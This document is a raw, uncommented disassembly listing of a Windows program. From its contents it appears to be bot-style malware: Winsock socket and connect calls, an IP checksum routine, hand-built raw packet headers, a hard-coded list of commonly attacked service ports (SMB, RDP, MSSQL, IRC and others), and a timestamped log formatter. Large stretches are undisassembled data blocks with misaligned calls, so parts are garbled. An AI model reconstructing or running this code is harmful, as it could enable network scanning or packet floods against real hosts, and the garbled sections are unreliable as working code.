dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
dd 90535959h, 30B0FBE8h
db 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+0Ch], esi
jle short loc_414F31
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414F23: ; CODE XREF: ___:00414F2Bj
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414F23
pop edi
cmp eax, 1
loc_414F31: ; CODE XREF: ___:00414F17j
jnz short loc_414F3E
mov al, [edx]
mov [ebp+0Ch], al
movzx eax, word ptr [ebp+0Ch]
add esi, eax
loc_414F3E: ; CODE XREF: ___:loc_414F31j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
; ---------------------------------------------------------------------------
byte_414F57 db 55h ; DATA XREF: sub_401ACD+6C68o
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h
dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h
dd 66D0E8F0h, 5959FFFFh, 0F1E89056h, 550230AFh, 0EC81EC8Bh
dd 0CCh, 358B5653h, 4270B0h, 8957DB33h, 0D6FFFC5Dh, 0FF68h
dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h
dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 4EE89000h, 2B022BBCh
dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
dd 6ED0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h
dd 4CB978h, 0FF68h, 0E8016A00h, 3B11h, 0F505959h, 509E45B6h
dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D90468h
dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh, 6068FFFFh
dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h
dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h, 66000071h
dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
dd 7155E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h
dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h
dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
dd 6FFFFFFh, 69C55DE8h, 89669071h, 0FFFF5E85h, 60858DFFh
dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h, 0FC45FF00h
dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
leave
retn
; ---------------------------------------------------------------------------
word_41525A dw 8B55h ; DATA XREF: sub_401ACD+4B97o
dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h
dd 214h, 0EC858D50h, 68FFFFFBh, 437C8Ch, 6FB4E850h, 858D0000h
dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h, 0C483FFFFh
dd 90006A14h, 30AD2FE8h, 0EC8B5502h, 254EC81h, 56530000h
dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h
dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h
dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh
dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h, 4CBA1415h
dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h
dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch, 66570000h
dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h
dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h
dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh
dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
dd 41Ch, 0FFBB05EBh, 39000000h, 4CF1803Dh, 6A527500h, 45895810h
dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h
dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D90468ACh
dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h
dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h
dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h
dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h
dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h
dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h, 7A3D8966h
dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6C64E8h, 0FF505900h
dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch
dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h, 7C6852FBh
dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
dd 4CED60h, 0FFF475FFh, 4CBA3815h, 0FFF88300h, 0A5840Fh
dd 45FF0000h, 52E890FCh, 2B022BB7h, 0D233F845h, 3E8B9h
dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh, 858DFC75h
dd 10Ch, 1CF66950h, 0E8000004h, 6BADh, 8BD23359h, 0C1C68BC8h
dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h
dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch
db 0ACh
byte_41561D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6283o
dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
dd 67AE850h, 75FF0000h, 6010E8F0h, 5959FFFFh, 31E89056h
dd 5F0230A9h
; ---------------------------------------------------------------------------
pop esi
push ebp
mov ebp, esp
sub esp, 210h
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+14h], 0
push esi
push edi
jnz short loc_4156FA
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
nop
call near ptr 71AB3E5Dh
jmp loc_4157B6
; ---------------------------------------------------------------------------
loc_4156FA: ; CODE XREF: ___:004156E4j
mov esi, [ebp+8]
push 1
pop edi
lea eax, [ebp-8]
push eax
push 8004667Eh
push esi
mov [ebp-8], edi
nop
call near ptr 71AB155Ah
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
call dword_4CB97C
push dword ptr [ebp+14h]
lea eax, [ebp-210h]
mov [ebp-108h], esi
mov [ebp-10Ch], edi
push 0
push eax
lea eax, [ebp-10Ch]
mov [ebp-20Ch], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp-210h], edi
call dword_4CB9BC
test eax, eax
jnz short loc_41575E
or eax, 0FFFFFFFFh
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_41575E: ; CODE XREF: ___:00415757j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_415769
loc_415765: ; CODE XREF: ___:00415789j
; ___:004157ADj
mov eax, edi
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_415769: ; CODE XREF: ___:00415763j
lea eax, [ebp-10Ch]
push eax
push esi
call sub_426350
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41578B
lea eax, [ebp-210h]
push eax
push esi
call sub_426350
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_415765
loc_41578B: ; CODE XREF: ___:00415778j
lea eax, [ebp+8]
mov dword ptr [ebp+8], 4
push eax
lea eax, [ebp-4]
push eax
push 1007h
push 0FFFFh
push esi
call near ptr 71AB4122h
nop
cmp eax, edi
jz short loc_415765
mov eax, [ebp-4]
neg eax
sbb eax, eax
loc_4157B6: ; CODE XREF: ___:004156F5j
; ___:0041575Cj ...
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
dw 8B55h
dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
dd 6A000000h, 89026A03h, 0E890EC45h, 716A0221h, 6AEC4D8Dh
dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h, 0B0358B00h
dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h
dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h
dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h
dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h
dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h
dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h
dd 53004CB9h, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CBA5415h
dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch
dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h
dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h
dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h
dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah
dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h
dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h
dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h
dd 0A366286Ah, 4CF194h, 0B9D415FFh, 0D80004Ch, 4CF198h
dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h
dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h, 0C1084D8Bh
dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h, 0A3004CBAh
dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h
dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h
dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh
dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh
dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h
dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h, 4CF1D01Dh
dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h
dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh
dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch
dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h
dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h
dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h
dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h
dd 0BF004CF1h, 4CF1D4h, 9A1D8966h, 66004CF1h, 0F1B41D89h
dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h
dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h
dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h, 286A5300h
dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h
dd 0F000003h, 0FFFF238Ch, 0A6E890FFh, 2B022BB0h, 0D233F445h
dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 2AA88EE8h
dd 0FDC2E902h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43DB90
mov edi, 0B8h
loc_415C54: ; CODE XREF: sub_415C40+33j
cmp byte ptr [esi], 0
jz short loc_415C77
push [ebp+arg_0]
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_415C77
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43E710
jl short loc_415C54
jmp short loc_415CB9
; ---------------------------------------------------------------------------
loc_415C77: ; CODE XREF: sub_415C40+17j
; sub_415C40+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43DB90[esi]
push ebx
call sub_41BF70
push 17h
push [ebp+arg_0]
push ebx
call sub_41BFD0
push 9Fh
lea eax, dword_43DBA8[esi]
push [ebp+arg_4]
push eax
call sub_41BFD0
add esp, 24h
inc dword_4294CC
pop ebx
loc_415CB9: ; CODE XREF: sub_415C40+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_415C40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_437EF0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
xor edi, edi
mov esi, offset dword_43DB90
loc_415CEA: ; CODE XREF: sub_415CC0+72j
cmp byte ptr [esi], 0
jz short loc_415D25
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_437EDC
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41C360
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 2Ch
loc_415D25: ; CODE XREF: sub_415CC0+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43E710
jl short loc_415CEA
pop edi
pop esi
leave
retn
sub_415CC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D38 proc near ; CODE XREF: ___:004015A5p
; ___:00401629p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
nop
call near ptr 27D07BBh
mov ebx, offset dword_4D35F4
mov edi, 80h
mov esi, offset dword_4CF5F4
loc_415D5A: ; CODE XREF: sub_415D38+3Dj
cmp byte ptr [ebx], 0
jz short loc_415D71
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41BFD0
add esp, 0Ch
loc_415D71: ; CODE XREF: sub_415D38+25j
sub ebx, edi
cmp ebx, esi
jge short loc_415D5A
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41C360
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_415D38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_408967p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41CB70
lea eax, [ebp+var_80]
push eax
call sub_415D38
add esp, 14h
leave
retn
sub_415DAC endp
; =============== S U B R O U T I N E =======================================
sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CF5F4
xor ecx, ecx
loc_415DDF: ; CODE XREF: sub_415DD8+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D35F4
jl short loc_415DDF
cmp [esp+arg_C], ecx
jnz short loc_415E0D
push ecx
push [esp+4+arg_8]
push offset dword_437F3C
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409869
add esp, 14h
loc_415E0D: ; CODE XREF: sub_415DD8+19j
push offset dword_437F28
call sub_415D38
pop ecx
retn
sub_415DD8 endp
; =============== S U B R O U T I N E =======================================
sub_415E19 proc near ; CODE XREF: ___:0040E1FFp
arg_0 = dword ptr 4
push esi
mov esi, offset dword_4CF5F4
loc_415E1F: ; CODE XREF: sub_415E19+27j
cmp byte ptr [esi], 0
jz short loc_415E34
push [esp+4+arg_0]
push esi
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jnz short loc_415E46
loc_415E34: ; CODE XREF: sub_415E19+9j
add esi, 80h
cmp esi, offset dword_4D35F4
jl short loc_415E1F
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_415E46: ; CODE XREF: sub_415E19+19j
push 1
pop eax
pop esi
retn
sub_415E19 endp
; ---------------------------------------------------------------------------
byte_415E4B db 55h ; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+8]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp-10h], edx
mov dword ptr [ebp-8], 80h
mov [ebp-4], edx
mov [eax+110h], edi
jnz short loc_415E9E
push edx
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push offset dword_437F6C
push eax
push dword ptr [ebp-11Ch]
call sub_409869
add esp, 14h
loc_415E9E: ; CODE XREF: ___:00415E7Ej
cmp byte ptr [ebp-98h], 0
jz short loc_415EBE
lea eax, [ebp-98h]
push eax
call sub_41C159
test eax, eax
pop ecx
mov [ebp-4], eax
jz short loc_415EBE
mov [ebp-8], eax
loc_415EBE: ; CODE XREF: ___:00415EA5j
; ___:00415EB9j
and dword ptr [ebp+8], 0
mov esi, offset dword_4CF5F4
loc_415EC7: ; CODE XREF: ___:00415F1Fj
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_415F21
cmp byte ptr [esi], 0
jz short loc_415F10
cmp byte ptr [ebp-98h], 0
jz short loc_415EF6
cmp dword ptr [ebp-4], 0
jnz short loc_415EF6
lea eax, [ebp-98h]
push eax
push esi
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jz short loc_415F10
loc_415EF6: ; CODE XREF: ___:00415EDBj
; ___:00415EE1j
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_409869
add esp, 14h
loc_415F10: ; CODE XREF: ___:00415ED2j
; ___:00415EF4j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4D35F4
jl short loc_415EC7
loc_415F21: ; CODE XREF: ___:00415ECDj
lea eax, [ebp-31Ch]
push offset dword_437F50
push eax
call sub_41C266
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_415F5B
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_409869
add esp, 14h
loc_415F5B: ; CODE XREF: ___:00415F39j
lea eax, [ebp-31Ch]
push eax
call sub_415D38
push dword ptr [ebp-18h]
call sub_40B6D6
pop ecx
pop ecx
push esi
; ---------------------------------------------------------------------------
dw 89E8h
; ---------------------------------------------------------------------------
mov al, ds:5F900230h
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F7A proc near ; CODE XREF: ___:0041661Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA54
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415FF6
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB9D4
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA14
cmp eax, esi
jnz short loc_415FDB
push [ebp+arg_0]
call dword_4CBA58
test eax, eax
jz short loc_415FF6
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415FDB: ; CODE XREF: sub_415F7A+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB97C
cmp eax, esi
jnz short loc_415FFA
push edi
call dword_4CBA6C
loc_415FF6: ; CODE XREF: sub_415F7A+1Bj
; sub_415F7A+58j
mov eax, esi
jmp short loc_415FFC
; ---------------------------------------------------------------------------
loc_415FFA: ; CODE XREF: sub_415F7A+73j
mov eax, edi
loc_415FFC: ; CODE XREF: sub_415F7A+7Ej
pop edi
pop esi
leave
retn
sub_415F7A endp
; ---------------------------------------------------------------------------
dword_416000 dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
; DATA XREF: sub_401ACD+A02o
dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h
dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh, 6DE89056h
dd 6802309Fh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h
dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h
dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h
dd 5659FFFFh, 9F02E890h, 646A0230h, 0A3B9E890h, 0FF33022Ah
dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch
dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h, 8D000067h
dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
dd 0A361E890h, 0A6A022Ah, 0FF549DE8h, 59C085FFh, 858DA375h
dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh
dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFFB8FE8h
dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 905759FFh
dd 309E3FE8h
db 2
; ---------------------------------------------------------------------------
loc_4161C1: ; DATA XREF: sub_401ACD+7696o
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call dword_4CBA54
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_41620F
push offset unk_4380EC
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41620F: ; CODE XREF: ___:00416203j
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call dword_4CB9D4
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call dword_4CBA00
test eax, eax
jz short loc_41624D
push offset unk_4380C8
jmp loc_4163C8
